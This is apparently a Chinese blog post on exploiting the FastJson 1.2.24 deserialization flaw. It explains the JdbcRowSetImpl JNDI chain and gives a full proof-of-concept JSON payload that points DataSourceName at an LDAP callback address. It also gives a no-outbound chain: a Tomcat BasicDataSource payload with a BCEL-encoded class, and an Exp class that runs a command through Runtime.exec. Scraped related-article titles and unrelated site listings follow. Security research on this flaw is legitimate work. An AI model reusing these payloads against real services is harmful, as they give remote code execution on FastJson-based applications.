FastJson反序列化2-1.2.24漏洞利用
1、1.2.24漏洞利用-JNDI
漏洞利用思路,如果某个类的set()方法中使用了JNDI,那么则可以使用JDNI注入执行任意命令。事实上在JDK8中就存在这样的类:JDBCRowSetImpl;
该类实现了JdbcRowSwt接口,继承自BaseRowSet; package com.sun.rowset;


其中setAutoCommit方法中的else分支调用了connect方法

这个方法用于获取数据库连接。它首先检查是否已经存在连接(this.conn),如果存在则直接返回;如果没有,则根据配置获取数据库连接。
而获取连接的方式是如果配置了数据源名称 (this.getDataSourceName() != null),则尝试通过 JNDI 查找数据源,然后获取连接。如果配置了用户名和密码,则使用提供的用户名和密码来获取连接。

DataSourceName有对应的Set方法;

为空的情况下会调用父类的setDataSourceName方法,父类仅仅做了是否为空的判断,然后就是简单的赋值。

所以我们可以反序列化这个类,然后设置属性autocommit,让其调用connect方法,通过 JNDI 查找数据源,而数据源的地址设置为恶意地址,使其执行恶意命令。
使用Yakit生成LDAP反连地址,构造恶意类,执行clac命令。

完整POC如下:
public class Main {
public static void main(String[] args) {
String str1="{\"@type\":\"org.example.bean.FastJsonJdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:5555/qjMfJBxp\",\"autoCommit\":0}";
//FastJsonJdbcRowSetImpl是我自己创建的一个类 实际上可以直接用JdbcRowSetImpl
JSONObject jsonObject = JSON.parseObject(str1);
}
}

2、1.2.24 不出网利用
这里只给出了paseObject方法的利用链,paseObject方法会调用所有get方法,后续有时间再补充pase方法利用链,或者可以参考文章:
https://forum.butian.net/share/2040

String s1="{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",
\"DriverClassName\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$Q$7d$93$84$d81N$n$81$EJi$v$l$85$84C$7d$e9$z$88KE$a5$aanA$N$K$e2$b8$d9$$aS$c7$8e$i$H$f2$8fz$e6$C$VHp$ef$8f$aa$98u$a34$SX$f2$cc$ce$7b3o$9e$d7$7f$fe$de$de$D$f8$80$9a$83$C$96$j$bc$c4$8a$8dW$s$afZxm$e1$8d$83$3c$d6$y$bc$b5$b0N$c8$ef$e9P$t$fb$84l$ad$de$o$e4$3eF$3f$Ua$ce$d7$a1$fa6$ec$b5U$7c$y$da$B$pe$3f$92$oh$89X$9bz$M$e6$92s$3d$mT$fd$u$eexj$qz$fd$40ym$rB$ef$60$d4o$Q$ec$3d$Z$8c$e5$89$db$x$7eW$5c$IOG$de$e7$c3$83$91T$fdDG$n$b7$V$9b$89$90$3f$bf$8a$7e$w$cb$s$JN3$g$c6R$7d$d2f$8d$cdj$ef$cd$a8$L$H$b3$W6$5clb$8b$d7$b3$p$e9$e2$j$b6$J$L$cfH$TVR4$Qa$c7$fb$3e$M$T$ddS$T$d2h$ed$Q$W$9f$b3N$98$ff$3fx$d8$ee$w$99$QJO$b4$d8fG$r$93$a2R$ab$fbOz$f8$f3rj$a4$qa$a76$c56$93X$87$9d$c6$f4$c0Q$iI5$Y$f0$c0$f2t$e7$f1y$i$5d$9a$7bi$d4$5bX$87$cd$3f$d5$3c$Z$90$b9$M$8e$$W$kg$e2$3c$b3$7b$D$baJ$e9$o$c7$fc$3f$Q$_8$ba$e3$f3$i$e69$db$uM$86$cf$90M$b9$a5$df$c8$94$b3$d7$c8$9d$fcB$f1$cb$j$f2$a7$acf$3d$5c$a5d$81$5bg$b8$d1$c8V$f9$84$d4$c9$y$a3$F$c6$i$c6$dc$c9$9a$oce$yp$b5$c8$af$85$8co$a1R$60$a2$9a$3a$5bz$E3$a2$e2$80$a3$C$A$A\",
\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}
}";
public class Exp {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
//可以使用javac 编译,或使用Repository 且编译后需要encode
}
FastJson反序列化2-1.2.24漏洞利用的更多相关文章
- fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录
环境搭建: 漏洞影响版本: fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞 环境地址: https://github.com/vulhub/vulhub/tree/master ...
- fastjson反序列化漏洞原理及利用
重要漏洞利用poc及版本 我是从github上的参考中直接copy的exp,这个类就是要注入的类 import java.lang.Runtime; import java.lang.Process; ...
- Fastjson反序列化漏洞分析 1.2.22-1.2.24
Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...
- FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链
0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...
- fastjson反序列化漏洞实际案例利用
fastjson反序列化rce实际案例利用全过程: 存在问题网站:http://***.com/ 在网站上寻找一些安全漏洞的时候,发现一条json数据包 数据包如下: POST /*** HTTP/1 ...
- fastjson 反序列化漏洞利用总结
比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...
- Fastjson反序列化漏洞复现
Fastjson反序列化漏洞复现 0x00 前言 对Fastjson反序列化漏洞进行复现. 0x01 漏洞环境 靶机环境:vulhub-fastjson-1.2.24 ip:172.16.10.18 ...
- Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...
- fastjson反序列化漏洞历史CVE学习整理
fastjson 1.2.24反序列化漏洞复现 先写一个正常的使用 fastjson的web服务 我们使用 springboot创建 主要是pom.xml 里面要添加fastjson fastjson ...
- FastJson 反序列化漏洞原理分析
Fastjson 简介 fastjson框架:https://github.com/alibaba/fastjson fastjson-jndi:https://github.com/earayu/f ...
随机推荐
- SpringBoot+MyBatisPlus+Thymeleaf+AdminLTE增删改查实战
说明 AdminLTE是网络上比较流行的一款Bootstrap模板,包含丰富的样式.组件和插件,非常适用于后端开发人员做后台管理系统. 因为最近又做了个后台管理系统,这次就选的是AdminLTE做主题 ...
- shell 定时清理一定时间内未使用的目录下文件脚本
配合crontab即可实现标题 使用 bash + 脚本 + 目录 bash xx.sh /root/xx/ 脚本如下: #!/bin/bash # 将current转换为时间戳,精确到秒 CURRE ...
- ubuntu 中 docker 每次都输入 sudo 命令
查看用户组及成员 sudo cat /etc/group | grep docker 可以添加docker组 sudo groupadd docker 添加用户到docker组 sudo gpassw ...
- offline RL | 读读 Decision Transformer
论文标题:Decision Transformer: Reinforcement Learning via Sequence Modeling,NeurIPS 2021,6 6 7 9 poster( ...
- 2024-02-28:用go语言,有一个由x轴和y轴组成的坐标系, “y下“和“y上“表示一条无限延伸的道路,“y下“表示这个道路的下限,“y上“表示这个道路的上限, 给定一批长方形,每一个长方形有(
2024-02-28:用go语言,有一个由x轴和y轴组成的坐标系, "y下"和"y上"表示一条无限延伸的道路,"y下"表示这个道路的下限,& ...
- maven创建父子工程
目录 创建父工程 创建子工程 将项目编译为eclipse项目 将项目导入eclipse 修改依赖关系:service依赖dao,web依赖service JavaProject的pom.xml文件说明 ...
- 【Azure 应用服务】App Services 恶意软件防护相关
问题描述 App Services 恶意软件防护相关资料,App Service是否默认开启病毒防护呢? 问题解答 App Services 默认启用了Antimalware 软件功能,Microso ...
- FolkMQ 作个简单的消息中间件(最简单的那种), v1.3.1 发布
功能简介 角色 功能 生产端(或发起端) 发布消息.定时消息(或叫延时).顺序消息.可过期消息.事务消息.发送消息(rpc)支持 Qos0.Qos1 消费端(或接收端) 订阅.取消订阅.消费-ACK( ...
- Netty笔记(7) - 使用Netty 模仿 Dubbo 实现简单的 远程调用
使用Netty 模仿 Dubbo 实现简单的 远程调用 使用 java的反射 动态代理 加 Netty的远程访问 实现根据接口的RPC 远程调用 定义两个公共接口: public interface ...
- Java 包装类的使用(自动装箱+自动拆箱)+Vector
1 package com.bytezreo.ut; 2 3 import java.util.Scanner; 4 import java.util.Vector; 5 6 /** 7 * 8 * ...